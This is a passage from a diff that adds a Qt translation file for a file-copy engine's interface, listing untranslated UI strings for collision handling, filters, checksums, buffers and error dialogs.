+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
